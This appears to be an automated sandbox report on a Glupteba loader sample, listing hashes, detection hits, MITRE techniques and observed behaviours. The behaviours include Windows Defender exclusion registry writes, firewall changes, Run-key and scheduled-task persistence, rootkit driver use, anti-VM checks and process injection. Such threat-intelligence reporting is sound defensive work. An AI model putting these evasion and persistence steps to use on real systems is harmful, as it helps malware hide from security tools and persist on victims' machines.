glupteba | cebdf5b7e0feb41c79b0d98f7e53abe9224e062ebe9274bc0586589c8a756f2b

Analysis

max time kernel
299s
max time network
301s
platform
windows10-1703_x64
resource
win10-20240404-en
resource tags

arch:x64arch:x86image:win10-20240404-enlocale:en-usos:windows10-1703-x64system
submitted
04/05/2024, 22:43

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General

Target

cebdf5b7e0feb41c79b0d98f7e53abe9224e062ebe9274bc0586589c8a756f2b.exe
Size

4.2MB
MD5

d47ca66ba7aa9afbec1124eb60dc771b
SHA1

789ec5af20b95c1ed3f62f9616440070d996bbad
SHA256

cebdf5b7e0feb41c79b0d98f7e53abe9224e062ebe9274bc0586589c8a756f2b
SHA512

7d03d5a19812788f7ab4e4efe3be8a3cf2b28ac77a0decbdc58f7822d7ea8d65f0c0e5f1e8822a0e37ca7e59b417a086e6c94b873c199c3abc2600490b319068
SSDEEP

98304:lt7eQ0rFIVLc0z4g9YvjqpAtYEkQ/TsxEs7EMhmMkcgx69wR1+wT:l9d0gwYx9yq2OE1uFgzNZx69wR4o

Score

10^/10

glupteba discovery dropper evasion execution loader persistence rootkit trojan upx

Malware Config

Signatures

Glupteba
Glupteba is a modular loader written in Golang with various components.
loader dropper glupteba

Glupteba payload 32 IoCs

resource	yara_rule
behavioral2/memory/4684-2-0x0000000003E10000-0x00000000046FB000-memory.dmp	family_glupteba
behavioral2/memory/4684-3-0x0000000000400000-0x0000000000D1C000-memory.dmp	family_glupteba
behavioral2/memory/4684-302-0x0000000000400000-0x0000000000D1C000-memory.dmp	family_glupteba
behavioral2/memory/4684-300-0x0000000000400000-0x0000000001E01000-memory.dmp	family_glupteba
behavioral2/memory/4684-303-0x0000000003E10000-0x00000000046FB000-memory.dmp	family_glupteba
behavioral2/memory/4612-1025-0x0000000000400000-0x0000000001E01000-memory.dmp	family_glupteba
behavioral2/memory/3988-1752-0x0000000000400000-0x0000000001E01000-memory.dmp	family_glupteba
behavioral2/memory/3988-1762-0x0000000000400000-0x0000000001E01000-memory.dmp	family_glupteba
behavioral2/memory/3988-1764-0x0000000000400000-0x0000000001E01000-memory.dmp	family_glupteba
behavioral2/memory/3988-1766-0x0000000000400000-0x0000000001E01000-memory.dmp	family_glupteba
behavioral2/memory/3988-1768-0x0000000000400000-0x0000000001E01000-memory.dmp	family_glupteba
behavioral2/memory/3988-1770-0x0000000000400000-0x0000000001E01000-memory.dmp	family_glupteba
behavioral2/memory/3988-1772-0x0000000000400000-0x0000000001E01000-memory.dmp	family_glupteba
behavioral2/memory/3988-1774-0x0000000000400000-0x0000000001E01000-memory.dmp	family_glupteba
behavioral2/memory/3988-1776-0x0000000000400000-0x0000000001E01000-memory.dmp	family_glupteba
behavioral2/memory/3988-1778-0x0000000000400000-0x0000000001E01000-memory.dmp	family_glupteba
behavioral2/memory/3988-1780-0x0000000000400000-0x0000000001E01000-memory.dmp	family_glupteba
behavioral2/memory/3988-1782-0x0000000000400000-0x0000000001E01000-memory.dmp	family_glupteba
behavioral2/memory/3988-1784-0x0000000000400000-0x0000000001E01000-memory.dmp	family_glupteba
behavioral2/memory/3988-1786-0x0000000000400000-0x0000000001E01000-memory.dmp	family_glupteba
behavioral2/memory/3988-1788-0x0000000000400000-0x0000000001E01000-memory.dmp	family_glupteba
behavioral2/memory/3988-1790-0x0000000000400000-0x0000000001E01000-memory.dmp	family_glupteba
behavioral2/memory/3988-1792-0x0000000000400000-0x0000000001E01000-memory.dmp	family_glupteba
behavioral2/memory/3988-1794-0x0000000000400000-0x0000000001E01000-memory.dmp	family_glupteba
behavioral2/memory/3988-1796-0x0000000000400000-0x0000000001E01000-memory.dmp	family_glupteba
behavioral2/memory/3988-1798-0x0000000000400000-0x0000000001E01000-memory.dmp	family_glupteba
behavioral2/memory/3988-1800-0x0000000000400000-0x0000000001E01000-memory.dmp	family_glupteba
behavioral2/memory/3988-2530-0x0000000000400000-0x0000000001E01000-memory.dmp	family_glupteba
behavioral2/memory/3988-2535-0x0000000000400000-0x0000000001E01000-memory.dmp	family_glupteba
behavioral2/memory/3988-2539-0x0000000000400000-0x0000000001E01000-memory.dmp	family_glupteba
behavioral2/memory/3988-2543-0x0000000000400000-0x0000000001E01000-memory.dmp	family_glupteba
behavioral2/memory/3988-2547-0x0000000000400000-0x0000000001E01000-memory.dmp	family_glupteba

Windows security bypass 2 TTPs 7 IoCs

evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\cebdf5b7e0feb41c79b0d98f7e53abe9224e062ebe9274bc0586589c8a756f2b.exe = "0"	cebdf5b7e0feb41c79b0d98f7e53abe9224e062ebe9274bc0586589c8a756f2b.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\rss = "0"	cebdf5b7e0feb41c79b0d98f7e53abe9224e062ebe9274bc0586589c8a756f2b.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\csrss = "0"	cebdf5b7e0feb41c79b0d98f7e53abe9224e062ebe9274bc0586589c8a756f2b.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\windefender.exe = "0"	cebdf5b7e0feb41c79b0d98f7e53abe9224e062ebe9274bc0586589c8a756f2b.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\System32\drivers = "0"	cebdf5b7e0feb41c79b0d98f7e53abe9224e062ebe9274bc0586589c8a756f2b.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\csrss.exe = "0"	cebdf5b7e0feb41c79b0d98f7e53abe9224e062ebe9274bc0586589c8a756f2b.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\windefender.exe = "0"	cebdf5b7e0feb41c79b0d98f7e53abe9224e062ebe9274bc0586589c8a756f2b.exe

Modifies Windows Firewall 2 TTPs 1 IoCs

evasion

Windows Service

T1543.003

Disable or Modify System Firewall

T1562.004

pid	Process
4180	netsh.exe

Executes dropped EXE 7 IoCs

pid	Process
3988	csrss.exe
440	injector.exe
3464	windefender.exe
1444	windefender.exe
3004	dcb505dc2b9d8aac05f4ca0727f5eadb.exe
4268	713674d5e968cbe2102394be0b2bae6f.exe
4200	1bf850b4d9587c1017a75a47680584c4.exe

UPX packed file 20 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/3464-1757-0x0000000000400000-0x00000000008DF000-memory.dmp	upx
behavioral2/memory/1444-1759-0x0000000000400000-0x00000000008DF000-memory.dmp	upx
behavioral2/files/0x000800000001ac40-1758.dat	upx
behavioral2/memory/3464-1761-0x0000000000400000-0x00000000008DF000-memory.dmp	upx
behavioral2/memory/1444-1763-0x0000000000400000-0x00000000008DF000-memory.dmp	upx
behavioral2/memory/1444-1767-0x0000000000400000-0x00000000008DF000-memory.dmp	upx
behavioral2/memory/3004-2047-0x0000000000400000-0x00000000008E1000-memory.dmp	upx
behavioral2/files/0x000a000000000697-2045.dat	upx
behavioral2/memory/3004-2052-0x0000000000400000-0x00000000008E1000-memory.dmp	upx
behavioral2/files/0x000a000000000699-2288.dat	upx
behavioral2/memory/4268-2290-0x0000000001290000-0x0000000001B5D000-memory.dmp	upx
behavioral2/files/0x000500000000069d-2529.dat	upx
behavioral2/memory/4200-2531-0x0000000000400000-0x00000000008E8000-memory.dmp	upx
behavioral2/memory/4268-2534-0x0000000001290000-0x0000000001B5D000-memory.dmp	upx
behavioral2/memory/4200-2536-0x0000000000400000-0x00000000008E8000-memory.dmp	upx
behavioral2/memory/4268-2538-0x0000000001290000-0x0000000001B5D000-memory.dmp	upx
behavioral2/memory/4268-2542-0x0000000001290000-0x0000000001B5D000-memory.dmp	upx
behavioral2/memory/4200-2544-0x0000000000400000-0x00000000008E8000-memory.dmp	upx
behavioral2/memory/4268-2546-0x0000000001290000-0x0000000001B5D000-memory.dmp	upx
behavioral2/memory/4200-2548-0x0000000000400000-0x00000000008E8000-memory.dmp	upx

Windows security modification 2 TTPs 7 IoCs

evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\rss = "0"	cebdf5b7e0feb41c79b0d98f7e53abe9224e062ebe9274bc0586589c8a756f2b.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\csrss = "0"	cebdf5b7e0feb41c79b0d98f7e53abe9224e062ebe9274bc0586589c8a756f2b.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\windefender.exe = "0"	cebdf5b7e0feb41c79b0d98f7e53abe9224e062ebe9274bc0586589c8a756f2b.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\System32\drivers = "0"	cebdf5b7e0feb41c79b0d98f7e53abe9224e062ebe9274bc0586589c8a756f2b.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\csrss.exe = "0"	cebdf5b7e0feb41c79b0d98f7e53abe9224e062ebe9274bc0586589c8a756f2b.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\windefender.exe = "0"	cebdf5b7e0feb41c79b0d98f7e53abe9224e062ebe9274bc0586589c8a756f2b.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\cebdf5b7e0feb41c79b0d98f7e53abe9224e062ebe9274bc0586589c8a756f2b.exe = "0"	cebdf5b7e0feb41c79b0d98f7e53abe9224e062ebe9274bc0586589c8a756f2b.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3968772205-1713802336-1776639840-1000\Software\Microsoft\Windows\CurrentVersion\Run\csrss = "\"C:\\Windows\\rss\\csrss.exe\""	cebdf5b7e0feb41c79b0d98f7e53abe9224e062ebe9274bc0586589c8a756f2b.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3968772205-1713802336-1776639840-1000\Software\Microsoft\Windows\CurrentVersion\Run\csrss = "\"C:\\Windows\\rss\\csrss.exe\""	csrss.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Manipulates WinMonFS driver. 1 IoCs

Roottkits write to WinMonFS to hide directories/files from being detected.

rootkit evasion

description	ioc	Process
File opened for modification	\??\WinMonFS	csrss.exe

Drops file in System32 directory 10 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive	powershell.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive	powershell.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive	powershell.exe

Checks for VirtualBox DLLs, possible anti-VM trick 1 TTPs 1 IoCs

Certain files are specific to VirtualBox VMs and can be used to detect execution in a VM.

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\VBoxMiniRdrDN	cebdf5b7e0feb41c79b0d98f7e53abe9224e062ebe9274bc0586589c8a756f2b.exe

Drops file in Windows directory 4 IoCs

description	ioc	Process
File created	C:\Windows\rss\csrss.exe	cebdf5b7e0feb41c79b0d98f7e53abe9224e062ebe9274bc0586589c8a756f2b.exe
File created	C:\Windows\windefender.exe	csrss.exe
File opened for modification	C:\Windows\windefender.exe	csrss.exe
File opened for modification	C:\Windows\rss	cebdf5b7e0feb41c79b0d98f7e53abe9224e062ebe9274bc0586589c8a756f2b.exe

Launches sc.exe 1 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
1204	sc.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 10 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4932	powershell.exe
4956	powershell.exe
4732	powershell.exe
2804	powershell.exe
4464	powershell.exe
2216	powershell.exe
2664	powershell.exe
2848	powershell.exe
2476	powershell.exe
1288	powershell.exe

Creates scheduled task(s) 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
708	schtasks.exe
1576	schtasks.exe

GoLang User-Agent 2 IoCs

Uses default user-agent string defined by GoLang HTTP packages.

description	flow	ioc
HTTP User-Agent header	41	Go-http-client/1.1
HTTP User-Agent header	40	Go-http-client/1.1

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-152 = "Central America Standard Time"	cebdf5b7e0feb41c79b0d98f7e53abe9224e062ebe9274bc0586589c8a756f2b.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-334 = "Jordan Daylight Time"	cebdf5b7e0feb41c79b0d98f7e53abe9224e062ebe9274bc0586589c8a756f2b.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-982 = "Kamchatka Standard Time"	cebdf5b7e0feb41c79b0d98f7e53abe9224e062ebe9274bc0586589c8a756f2b.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-1412 = "Syria Standard Time"	cebdf5b7e0feb41c79b0d98f7e53abe9224e062ebe9274bc0586589c8a756f2b.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-82 = "Atlantic Standard Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-231 = "Hawaiian Daylight Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-591 = "Malay Peninsula Daylight Time"	windefender.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-1661 = "Bahia Daylight Time"	windefender.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-112 = "Eastern Standard Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-1472 = "Magadan Standard Time"	windefender.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-281 = "Central Europe Daylight Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-2431 = "Cuba Daylight Time"	cebdf5b7e0feb41c79b0d98f7e53abe9224e062ebe9274bc0586589c8a756f2b.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-2002 = "Cabo Verde Standard Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-962 = "Paraguay Standard Time"	cebdf5b7e0feb41c79b0d98f7e53abe9224e062ebe9274bc0586589c8a756f2b.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-692 = "Tasmania Standard Time"	cebdf5b7e0feb41c79b0d98f7e53abe9224e062ebe9274bc0586589c8a756f2b.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-2512 = "Lord Howe Standard Time"	windefender.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-2061 = "North Korea Daylight Time"	cebdf5b7e0feb41c79b0d98f7e53abe9224e062ebe9274bc0586589c8a756f2b.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-2772 = "Omsk Standard Time"	cebdf5b7e0feb41c79b0d98f7e53abe9224e062ebe9274bc0586589c8a756f2b.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-361 = "GTB Daylight Time"	cebdf5b7e0feb41c79b0d98f7e53abe9224e062ebe9274bc0586589c8a756f2b.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-2321 = "Sakhalin Daylight Time"	cebdf5b7e0feb41c79b0d98f7e53abe9224e062ebe9274bc0586589c8a756f2b.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-1021 = "Bangladesh Daylight Time"	windefender.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-2511 = "Lord Howe Daylight Time"	cebdf5b7e0feb41c79b0d98f7e53abe9224e062ebe9274bc0586589c8a756f2b.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-462 = "Afghanistan Standard Time"	windefender.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-2452 = "Saint Pierre Standard Time"	cebdf5b7e0feb41c79b0d98f7e53abe9224e062ebe9274bc0586589c8a756f2b.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-911 = "Mauritius Daylight Time"	cebdf5b7e0feb41c79b0d98f7e53abe9224e062ebe9274bc0586589c8a756f2b.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-381 = "South Africa Daylight Time"	cebdf5b7e0feb41c79b0d98f7e53abe9224e062ebe9274bc0586589c8a756f2b.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-771 = "Montevideo Daylight Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-932 = "Coordinated Universal Time"	windefender.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-282 = "Central Europe Standard Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-2752 = "Tomsk Standard Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-1832 = "Russia TZ 2 Standard Time"	cebdf5b7e0feb41c79b0d98f7e53abe9224e062ebe9274bc0586589c8a756f2b.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2664	powershell.exe
2664	powershell.exe
2664	powershell.exe
4684	cebdf5b7e0feb41c79b0d98f7e53abe9224e062ebe9274bc0586589c8a756f2b.exe
4684	cebdf5b7e0feb41c79b0d98f7e53abe9224e062ebe9274bc0586589c8a756f2b.exe
4956	powershell.exe
4956	powershell.exe
4956	powershell.exe
4612	cebdf5b7e0feb41c79b0d98f7e53abe9224e062ebe9274bc0586589c8a756f2b.exe
4612	cebdf5b7e0feb41c79b0d98f7e53abe9224e062ebe9274bc0586589c8a756f2b.exe
4612	cebdf5b7e0feb41c79b0d98f7e53abe9224e062ebe9274bc0586589c8a756f2b.exe
4612	cebdf5b7e0feb41c79b0d98f7e53abe9224e062ebe9274bc0586589c8a756f2b.exe
4612	cebdf5b7e0feb41c79b0d98f7e53abe9224e062ebe9274bc0586589c8a756f2b.exe
4612	cebdf5b7e0feb41c79b0d98f7e53abe9224e062ebe9274bc0586589c8a756f2b.exe
4612	cebdf5b7e0feb41c79b0d98f7e53abe9224e062ebe9274bc0586589c8a756f2b.exe
4612	cebdf5b7e0feb41c79b0d98f7e53abe9224e062ebe9274bc0586589c8a756f2b.exe
4612	cebdf5b7e0feb41c79b0d98f7e53abe9224e062ebe9274bc0586589c8a756f2b.exe
4612	cebdf5b7e0feb41c79b0d98f7e53abe9224e062ebe9274bc0586589c8a756f2b.exe
4732	powershell.exe
4732	powershell.exe
4732	powershell.exe
2804	powershell.exe
2804	powershell.exe
2804	powershell.exe
2848	powershell.exe
2848	powershell.exe
2848	powershell.exe
2476	powershell.exe
2476	powershell.exe
2476	powershell.exe
4464	powershell.exe
4464	powershell.exe
4464	powershell.exe
440	injector.exe
440	injector.exe
440	injector.exe
440	injector.exe
440	injector.exe
440	injector.exe
3988	csrss.exe
3988	csrss.exe
440	injector.exe
440	injector.exe
440	injector.exe
440	injector.exe
440	injector.exe
440	injector.exe
3988	csrss.exe
3988	csrss.exe
440	injector.exe
440	injector.exe
440	injector.exe
440	injector.exe
440	injector.exe
440	injector.exe
3988	csrss.exe
3988	csrss.exe
440	injector.exe
440	injector.exe
440	injector.exe
440	injector.exe
440	injector.exe
440	injector.exe
440	injector.exe

Suspicious use of AdjustPrivilegeToken 15 IoCs

description	pid	Process
Token: SeDebugPrivilege	2664	powershell.exe
Token: SeDebugPrivilege	4684	cebdf5b7e0feb41c79b0d98f7e53abe9224e062ebe9274bc0586589c8a756f2b.exe
Token: SeImpersonatePrivilege	4684	cebdf5b7e0feb41c79b0d98f7e53abe9224e062ebe9274bc0586589c8a756f2b.exe
Token: SeDebugPrivilege	4956	powershell.exe
Token: SeDebugPrivilege	4732	powershell.exe
Token: SeDebugPrivilege	2804	powershell.exe
Token: SeDebugPrivilege	2848	powershell.exe
Token: SeDebugPrivilege	2476	powershell.exe
Token: SeDebugPrivilege	4464	powershell.exe
Token: SeSystemEnvironmentPrivilege	3988	csrss.exe
Token: SeSecurityPrivilege	1204	sc.exe
Token: SeSecurityPrivilege	1204	sc.exe
Token: SeDebugPrivilege	2216	powershell.exe
Token: SeDebugPrivilege	4932	powershell.exe
Token: SeDebugPrivilege	1288	powershell.exe

Suspicious use of WriteProcessMemory 54 IoCs

description	pid	Process	procid_target
PID 4684 wrote to memory of 2664	4684	cebdf5b7e0feb41c79b0d98f7e53abe9224e062ebe9274bc0586589c8a756f2b.exe	74
PID 4684 wrote to memory of 2664	4684	cebdf5b7e0feb41c79b0d98f7e53abe9224e062ebe9274bc0586589c8a756f2b.exe	74
PID 4684 wrote to memory of 2664	4684	cebdf5b7e0feb41c79b0d98f7e53abe9224e062ebe9274bc0586589c8a756f2b.exe	74
PID 4612 wrote to memory of 4956	4612	cebdf5b7e0feb41c79b0d98f7e53abe9224e062ebe9274bc0586589c8a756f2b.exe	79
PID 4612 wrote to memory of 4956	4612	cebdf5b7e0feb41c79b0d98f7e53abe9224e062ebe9274bc0586589c8a756f2b.exe	79
PID 4612 wrote to memory of 4956	4612	cebdf5b7e0feb41c79b0d98f7e53abe9224e062ebe9274bc0586589c8a756f2b.exe	79
PID 4612 wrote to memory of 376	4612	cebdf5b7e0feb41c79b0d98f7e53abe9224e062ebe9274bc0586589c8a756f2b.exe	81
PID 4612 wrote to memory of 376	4612	cebdf5b7e0feb41c79b0d98f7e53abe9224e062ebe9274bc0586589c8a756f2b.exe	81
